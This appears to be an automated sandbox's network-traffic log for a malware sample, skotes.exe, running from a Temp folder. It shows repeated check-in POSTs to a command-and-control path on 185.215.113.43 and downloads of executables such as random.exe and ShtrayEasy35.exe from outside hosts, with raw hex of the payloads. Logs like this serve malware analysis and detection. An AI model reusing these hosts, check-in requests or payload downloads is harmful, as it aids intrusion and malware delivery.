Dec 15, 2024 11:59:10.123509884 CET	672	IN	Data Raw: d8 08 e3 dd 10 34 5a 6e 1a 3d db 47 e3 2d 96 c6 3b bb 70 cb 84 21 33 fb 24 10 1c 0d 5f 09 34 28 c9 05 72 7d ce f9 6d 12 ca 1f ec f6 4b 83 9b eb 95 f3 bb 47 40 8a cc 1e 9f 20 cd d4 c0 46 35 68 3e 94 6a 18 38 a9 b3 eb 14 51 c6 53 9c cd 80 ad 1c 04 Data Ascii: 4Zn=G-;p!3$_4(r}mKG@ F5h>j8QSN&"`i"E]t6q"odnS<,<M[F~Y}F &!3jb<C$6bm-3U7CQa%Sb#%SGAu2o
Dec 15, 2024 11:59:10.123522043 CET	1236	IN	Data Raw: 76 45 0d 0c 57 3d 7a d6 ea 9c c8 eb b4 55 53 08 a2 df dd 6a b0 e1 ba 0a d7 45 87 6b d4 6e be ea ed 84 c6 34 05 29 c3 e2 fc e4 7b f7 20 f1 ba 15 01 85 4d 17 aa 21 55 65 d8 4d fd e2 f8 d5 df 36 a5 ca 4b 27 1a 21 d0 32 cf 33 cd 0a ec f9 ce 68 0f fd Data Ascii: vEW=zUSjEkn4){ M!UeM6K'!23hmDv'u/5`a{g8~=Ug pI@xjmX}F&DOgfCsf%}x!h$(-)i{]etzoJU5fQ"4hW[Bdh%H
Dec 15, 2024 11:59:10.123528957 CET	1236	IN	Data Raw: f7 4c d4 ba 97 22 51 ca f9 ae 5a 42 fa 32 ec f1 44 08 40 7e 98 4e 69 1f 08 9e 03 bc 14 1a 02 8c a3 04 1d b3 40 62 60 e5 58 13 a2 55 2d 22 05 58 dc 79 9c e3 ce 08 a1 16 c1 d5 8f 6a d0 9e b3 98 9d 04 ca 02 19 c1 fa 0b cd 24 41 83 ef 01 fd 9b 4b b2 Data Ascii: L"QZB2D@~Ni@b`XU-"Xyj$AK(8tl+lIgyv_(yy=3rDy+8AVvSAya)$9I29T6,M3)=E{bX53}$6s>L<}kz=J&R
Dec 15, 2024 11:59:10.123543024 CET	1236	IN	Data Raw: d5 db b2 d0 d8 e7 51 27 95 2c 69 21 c7 2b 80 ca d4 fb 67 53 9c 40 0e 55 c4 a4 d5 c5 49 ab 67 36 c4 83 96 a3 f4 21 89 16 eb c1 e0 12 9c 84 fd 6b bc 99 e8 92 0e ea 5e 35 3a 2d 5b eb 49 15 53 29 46 6a 9f 5a 47 d0 98 f7 cc 9a f5 62 69 57 ed 7a f0 67 Data Ascii: Q',i!+gS@UIg6!k^5:-[IS)FjZGbiWzg87"?9bh"}/W*wn=91xRz:{AV@)% L\|?v'i4H ul#ENw[hYuBkHb^k2?qXziq
Dec 15, 2024 11:59:10.123553038 CET	672	IN	Data Raw: f8 f9 28 07 c8 67 8b 85 c8 3a 50 0c e0 0a b1 ff ba 75 b2 25 da 92 5a 49 18 1d 70 16 fd 3f c2 07 f5 49 0b 8f 94 86 c7 14 c2 14 f7 33 43 9c 9f 7e 4c 17 3f 9f 12 62 75 c5 f2 81 64 8a 55 5b 65 d4 55 85 c9 50 fa 32 2f 54 5b 1f 8a 36 cc 74 4a 4f c4 a6 Data Ascii: (g:Pu%ZIp?I3C~L?budU[eUP2/T[6tJO5HNB'$+Ym!rwD;)2*Rk=qxl8F6.\|.V4nQQ5zH-abHxJnw3F//[}u59SX[R-i.B
Dec 15, 2024 11:59:10.243885994 CET	1236	IN	Data Raw: 06 cc 72 61 9d 47 ab 12 2e f0 71 2f 47 2f 1f 1c 93 84 89 e3 e6 d8 00 16 db 9b 80 06 ae 5e 04 c6 30 c0 c7 c5 a6 91 8b 74 34 a5 c4 8e 24 9d 05 45 01 2b 60 19 79 56 9a eb ec 61 fa b2 23 0e b6 f1 ae db 59 63 45 9b 25 4b d3 b3 26 ac 5a 5f 36 97 5e 53 Data Ascii: raG.q/G/^0t4$E+`yVa#YcE%K&Z_6^S%X&b$;CkWC)6O-iL&9%0)NCON"b\Q3E>gH_kIJf<mjhx+9nv(fptFP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49776	185.215.113.43	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 15, 2024 11:59:15.876049995 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 35 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015563001&unit=246122658369
Dec 15, 2024 11:59:17.224023104 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 15 Dec 2024 10:59:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49783	172.67.218.51	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 15, 2024 11:59:17.675549030 CET	54	OUT	GET /ShtrayEasy35.exe HTTP/1.1 Host: hansgborn.eu
Dec 15, 2024 11:59:18.800684929 CET	1028	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 15 Dec 2024 10:59:18 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Sun, 15 Dec 2024 11:59:18 GMT Location: https://hansgborn.eu/ShtrayEasy35.exe Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5n7zmchauKsuA24nss19HDlrPQmIo6iRWS22S%2BGgKklPDipdITPc%2F9caODdluvG%2BzsGgcuOlCqPsrReo84ReOR76vu3c9tOOTyiB3xZLxQphk02phdYEUT3dROxzQT4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f25ec6978cb8c7b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1799&min_rtt=1799&rtt_var=899&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=54&delivery_rate=0&cwnd=184&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49803	185.215.113.43	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 15, 2024 11:59:24.140189886 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 35 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015564001&unit=246122658369
Dec 15, 2024 11:59:25.480372906 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 15 Dec 2024 10:59:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49805	31.41.244.11	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 15, 2024 11:59:26.037054062 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 15, 2024 11:59:27.352060080 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 15 Dec 2024 10:59:27 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 15, 2024 11:59:27.352149963 CET	1236	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3D$tlA
Dec 15, 2024 11:59:27.352185011 CET	1236	IN	Data Raw: 3b f3 74 06 8b 06 56 ff 50 08 33 c0 40 eb 25 e8 a7 fe ff ff 8d 4d e0 8b f8 e8 bb 0e 01 00 8b 06 56 ff 50 08 8b c7 eb 0c 3b f3 74 06 8b 06 56 ff 50 08 33 c0 5e 5f 5b c9 c3 56 8b f1 c7 46 04 60 c3 41 00 83 66 08 00 c7 06 34 a5 41 00 c7 46 04 24 a5 Data Ascii: ;tVP3@%MVP;tVP3^_[VF`Af4AF$AfNf$N(^Uh$AuYYtEP#UPQ3hAudYYu@]Vv({F$YtPQvzvYtVP^l$
Dec 15, 2024 11:59:27.352240086 CET	1236	IN	Data Raw: 7d c4 0f 84 d0 02 00 00 66 83 7d c4 08 0f 85 c5 02 00 00 ff 75 cc 8d 4d f0 e8 76 f8 ff ff 8d 45 f0 50 8d 46 10 50 8d 45 e4 50 8d 5e 28 e8 1f fc ff ff 83 c4 0c 50 8b cb e8 90 f8 ff ff ff 75 e4 e8 b6 76 01 00 39 7d 14 59 0f 85 6f 02 00 00 8b 46 0c Data Ascii: }f}uMvEPFPEP^(Puv9}YoFURjuf}f}PQ;EtMu{v}Y^f9}u~@-f}t jeVPMXuFvY,EF@FURjuPQ;Eu3f9}URjuF<F
Dec 15, 2024 11:59:27.352277994 CET	896	IN	Data Raw: a2 41 00 8b f8 3b fe 74 33 56 6a 01 6a 01 57 ff 15 a4 a2 41 00 56 56 56 8d 45 e4 50 ff 15 a8 a2 41 00 8d 45 e4 50 ff 15 ac a2 41 00 6a 01 57 ff 15 b0 a2 41 00 57 ff 15 b4 a2 41 00 5f 5e c9 c3 53 ff 74 24 08 ff 15 94 a2 41 00 8b d8 85 db 75 02 5b Data Ascii: A;t3VjjWAVVVEPAEPAjWAWA_^St$Au[VW\|$Wt$A5AWSWS_3^@[UDSVWjpA5XAAPuuSuhuuSt&utWS\AWS`AtPdAz=Auo5h
Dec 15, 2024 11:59:27.352314949 CET	1236	IN	Data Raw: 50 ff 51 0c 39 75 fc 74 3f ff 75 fc e8 d4 fd ff ff 59 8d 4d d8 51 6a 18 50 89 45 fc ff 15 40 a0 41 00 6a 06 ff 75 e0 ff 75 dc 56 56 56 ff 75 08 ff 15 84 a2 41 00 ff 75 fc 56 68 72 01 00 00 ff 75 08 ff 15 b8 a2 41 00 8b 45 f0 8b 08 50 ff 51 08 33 Data Ascii: PQ9ut?uYMQjPE@AjuuVVVuAuVhruAEPQ3@WPA3_^[f=AuD<AfAAfft@Af=uDAA;ufAAUSV339AtAM9tFA9u9
Dec 15, 2024 11:59:27.352354050 CET	1236	IN	Data Raw: 5b c2 04 00 8b 01 8b 51 04 8b 4c 24 08 2b d1 8d 54 12 02 8d 0c 48 52 51 8b 4c 24 0c 8d 04 48 50 ff 15 3c a2 41 00 83 c4 0c c2 08 00 53 56 57 eb 3b 8b 02 8b 39 8a 1c 07 8a c3 e8 db f5 ff ff 84 c0 75 27 80 fb 3b 75 2d 3b fe 7d 12 8b 01 8b 32 80 3c Data Ascii: [QL$+THRQL$HP<ASVW;9u';u-;}2<0t@;B\|2_^[Ar91\|S\$VWu33\|$Gt$P$AtF;w\|3_^[t3GVt$W39~~(Ft$P$AujWPOG;~
Dec 15, 2024 11:59:27.352392912 CET	1236	IN	Data Raw: 37 00 89 75 f4 e8 ec fd ff ff 57 e8 ef 64 01 00 59 5f 8b 45 08 5e 5b c9 c2 0c 00 53 56 8b 74 24 0c 57 8b f9 8b 47 04 39 06 7e 02 89 06 8b 5c 24 14 53 e8 d0 e6 ff ff 8b 06 50 03 c3 50 8b cf e8 ec fa ff ff 5f 5e 5b c2 08 00 8b 44 24 08 ff 30 8b 44 Data Ascii: 7uWdY_E^[SVt$WG9~\$SPP_^[D$0D$0YY@W\|$D$xt.SVpFPVPVSjt$,8Af$A^G[_USVuE39Xt2WxS?ESAPQNPWuSuA
Dec 15, 2024 11:59:27.352428913 CET	672	IN	Data Raw: 4d f4 e8 72 f8 ff ff f6 85 a4 fd ff ff 10 8b 7d f4 74 35 68 88 a6 41 00 8d 85 d0 fd ff ff 50 ff 15 24 a1 41 00 85 c0 74 33 68 80 a6 41 00 8d 85 d0 fd ff ff 50 ff 15 24 a1 41 00 85 c0 74 1d 57 e8 58 ff ff ff 59 eb 10 6a 00 57 ff d6 85 c0 74 4b 57 Data Ascii: Mr}t5hAP$At3hAP$AtWXYjWtKWAt@PSAqSAjutuAtW_3@W_3Y_^[=lAt3@Vt$VAu3@^ujVAtVA^3^VY^
Dec 15, 2024 11:59:27.352468014 CET	1236	IN	Data Raw: ff 75 d0 ff 75 cc 68 04 08 00 50 68 84 a5 41 00 68 94 a6 41 00 53 ff 15 a0 a2 41 00 8b f8 3b fb 0f 84 7b ff ff ff 56 ff 15 b4 a2 41 00 8b 35 b8 a2 41 00 53 6a 22 68 59 04 00 00 57 ff d6 6a 0f ff 15 cc a2 41 00 50 53 68 43 04 00 00 57 ff d6 b8 e9 Data Ascii: uuhPhAhASA;{VA5ASj"hYWjAPShCWPEEPEP]uEPhaWu]u]YYUQSVW=(AjEPuuTCPECSuPu>Wf$GYF_^[Vj
Dec 15, 2024 11:59:27.472464085 CET	1236	IN	Data Raw: 01 eb 2b ff 75 10 ff 75 fc eb 06 ff 75 10 ff 75 f8 57 e8 5c f6 ff ff 83 c4 0c 8d 4d a4 8a d8 e8 b9 ef ff ff ff 75 e0 e8 8b 58 01 00 8a c3 59 5f 5e 5b c9 c3 55 8b ec 83 ec 18 53 56 57 8b 7d 08 57 ff 15 f4 a0 41 00 57 8d 4d e8 8b d8 89 45 fc e8 5f Data Ascii: +uuuuW\MuXY_^[USVW}WAWME_39uVMD_f=\}tf=/uft_K]"wf=/tf=\tNf$wWYtEPAWAuEPWYYt3WYuWjj_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49835	185.215.113.43	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 15, 2024 11:59:37.836616993 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 35 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015565001&unit=246122658369
Dec 15, 2024 11:59:39.150227070 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 15 Dec 2024 10:59:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49839	31.41.244.11	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 15, 2024 11:59:39.296890020 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 15, 2024 11:59:40.614675045 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 15 Dec 2024 10:59:40 GMT Content-Type: application/octet-stream Content-Length: 727552 Last-Modified: Wed, 11 Dec 2024 08:22:24 GMT Connection: keep-alive ETag: "67594bc0-b1a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL$XgN,6@P\|z@ld8h4d.textAMN `.rdata<~`V@@.dataL@.rsrc@@.reloc@B.bss0@.bss@
Dec 15, 2024 11:59:40.614880085 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 15, 2024 11:59:40.614897966 CET	1236	IN	Data Raw: 89 c7 83 f8 0f 77 2c 90 89 7d c4 c7 45 c8 0f 00 00 00 57 ff 75 e0 8d 45 b4 50 e8 f4 36 00 00 83 c4 0c 01 ef 83 c7 b4 eb 77 66 2e 0f 1f 84 00 00 00 00 00 90 89 7d d8 83 cf 0f 83 ff 17 b9 16 00 00 00 0f 43 cf 81 ff ff 0f 00 00 c7 45 f0 01 00 00 00 Data Ascii: w,}EWuEP6wf.}CEMrA$PL#FfAP1u}}EEWuVx6E]5MMuEC]ry1tL1fDi[1i
Dec 15, 2024 11:59:40.614909887 CET	1236	IN	Data Raw: 00 e8 39 01 00 00 8b 45 e0 83 c4 04 eb 22 90 89 4d dc ff 15 c4 cc 41 00 8b 4d e0 90 89 4d dc 50 68 2d 9f 41 00 e8 15 01 00 00 8b 45 e0 83 c4 08 90 89 45 dc ff 75 d4 e8 39 6f 00 00 8b 75 e0 83 c4 04 90 0f b6 84 35 c4 fe ff ff 8b 55 d0 00 c2 0f b6 Data Ascii: 9E"MAMMPh-AEEu9ou5U5U5MU0BU9UuUEd0^_[]fUeE@EMPhAWEMj
Dec 15, 2024 11:59:40.614922047 CET	1236	IN	Data Raw: 45 d4 89 c3 83 e3 fc 83 e0 03 31 ff 83 f8 01 74 1e 83 f8 02 74 0e 83 f8 03 75 23 90 0f be 7c 1a 02 c1 e7 10 90 0f be 44 1a 01 c1 e0 08 31 c7 90 0f be 04 1a 31 f8 69 c0 95 e9 d1 5b 31 c6 8b 45 d8 83 f8 10 72 43 8d 50 01 81 fa 00 10 00 00 72 2a 90 Data Ascii: E1ttu#\|D11i[1ErCPr*MA) U$ffff.ERP1i[1TWMAEEAEEuuVHAuVH
Dec 15, 2024 11:59:40.614934921 CET	1120	IN	Data Raw: ff ff 6a 02 e8 5b 08 00 00 90 c7 45 dc 00 00 00 00 6a 06 e8 4c 08 00 00 83 c4 04 90 c7 45 f0 04 00 00 00 6a 01 e8 3a 08 00 00 83 c4 04 90 c7 45 f0 04 00 00 00 6a 05 e8 28 08 00 00 83 c4 04 90 c7 45 f0 04 00 00 00 6a 02 e8 16 08 00 00 83 c4 04 66 Data Ascii: j[EjLEj:Ej(EjfDUM]fff.UM]fff.Uu]Uu]U}u]e
Dec 15, 2024 11:59:40.615114927 CET	1236	IN	Data Raw: 00 e9 67 61 00 00 55 8b ec ff 75 08 e8 f0 ff ff ff 59 5d c3 55 8b ec f6 45 08 01 56 8b f1 c7 06 78 61 41 00 74 0a 6a 0c 56 e8 d8 ff ff ff 59 59 8b c6 5e 5d c2 04 00 55 8b ec 5d e9 91 ff ff ff e9 bc ff ff ff 3b 0d 00 e6 41 00 75 01 c3 e9 bb 0a 00 Data Ascii: gaUuY]UEVxaAtjVYY^]U];AuUQQEVEEEVD`A"bRP#!YY^UVFD`A `PEP YY^]AD`APB!YUVuLaA^]aaA A
Dec 15, 2024 11:59:40.615128040 CET	1236	IN	Data Raw: 08 56 8b 75 0c 8b 42 04 8b 4e 04 8b 40 04 3b 41 04 75 0a 8b 02 3b 06 75 04 b0 01 eb 02 32 c0 5e 5d c3 6a 24 b8 25 5c 41 00 e8 bd 07 00 00 8b 75 08 89 75 d4 83 65 fc 00 83 7d 24 00 74 0f 6a 02 68 6c af 41 00 8d 4d 14 e8 b2 fd ff ff 8d 45 d8 50 8d Data Ascii: VuBN@;Au;u2^]j$%\Auue}$tjhlAMEPMzxHEvQPMMEPMU A3EEVuuPhuEuPW$PMMUNMaA3
Dec 15, 2024 11:59:40.615138054 CET	1236	IN	Data Raw: 64 a1 00 00 00 00 50 51 53 56 57 a1 00 e6 41 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 be 68 f0 41 00 e8 1d 01 00 00 b9 4c e6 41 00 89 45 f0 e8 84 00 00 00 8b 8e 90 01 00 00 33 db 85 c9 74 4e 8d 7e 08 83 fb 14 7d 46 83 3f 00 8b c1 74 35 8b 4d f0 39 Data Ascii: dPQSVWA3PEdhALAE3tN~}F?t5M9Ou-Gt7wZ'YYCuuhLAYMdY_^[VVYuuj^jy,uA,2
Dec 15, 2024 11:59:40.615149975 CET	672	IN	Data Raw: 04 50 ff 15 70 cd 41 00 33 c0 5d c3 55 8b ec 51 51 8d 45 f8 50 e8 8e 00 00 00 8b 55 fc 33 c0 03 45 f8 59 83 d2 00 2d 00 80 3e d5 81 da de b1 9d 01 c9 c3 55 8b ec 53 56 57 e8 ce ff ff ff 6a 00 68 80 96 98 00 8b fa 8b d8 57 53 e8 bb 00 00 00 8b 75 Data Ascii: PpA3]UQQEPU3EY->USVWjhWSujhWSVkd_F^[]VhAAhLAVAh`AVAA A3^Ujhi\AdPVA3PEd5AutAAMd
Dec 15, 2024 11:59:40.753081083 CET	1236	IN	Data Raw: 33 c0 c3 e8 48 05 00 00 e8 7c 04 00 00 50 e8 93 4f 00 00 59 c3 6a 14 68 80 d8 41 00 e8 0a 07 00 00 6a 01 e8 9f 02 00 00 59 84 c0 0f 84 50 01 00 00 32 db 88 5d e7 83 65 fc 00 e8 39 02 00 00 88 45 dc a1 24 f5 41 00 33 c9 41 3b c1 0f 84 2f 01 00 00 Data Ascii: 3H\|POYjhAjYP2]e9E$A3A;/uI$AhLAh,AJYYtEh(Ah AJYY$A]uYC39>tV$Yt6WjWA!9>tVYt6O<Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49851	185.215.113.43	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 15, 2024 11:59:45.341908932 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 35 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015566001&unit=246122658369
Dec 15, 2024 11:59:46.633536100 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 15 Dec 2024 10:59:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49857	185.215.113.16	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 15, 2024 11:59:47.209594965 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 15, 2024 11:59:48.469331980 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 15 Dec 2024 10:59:47 GMT Content-Type: application/octet-stream Content-Length: 1881088 Last-Modified: Sun, 15 Dec 2024 10:11:10 GMT Connection: keep-alive ETag: "675eab3e-1cb400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 fe 59 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 cc 03 00 00 b2 00 00 00 00 00 00 00 60 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4a 00 00 04 00 00 cf 69 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS 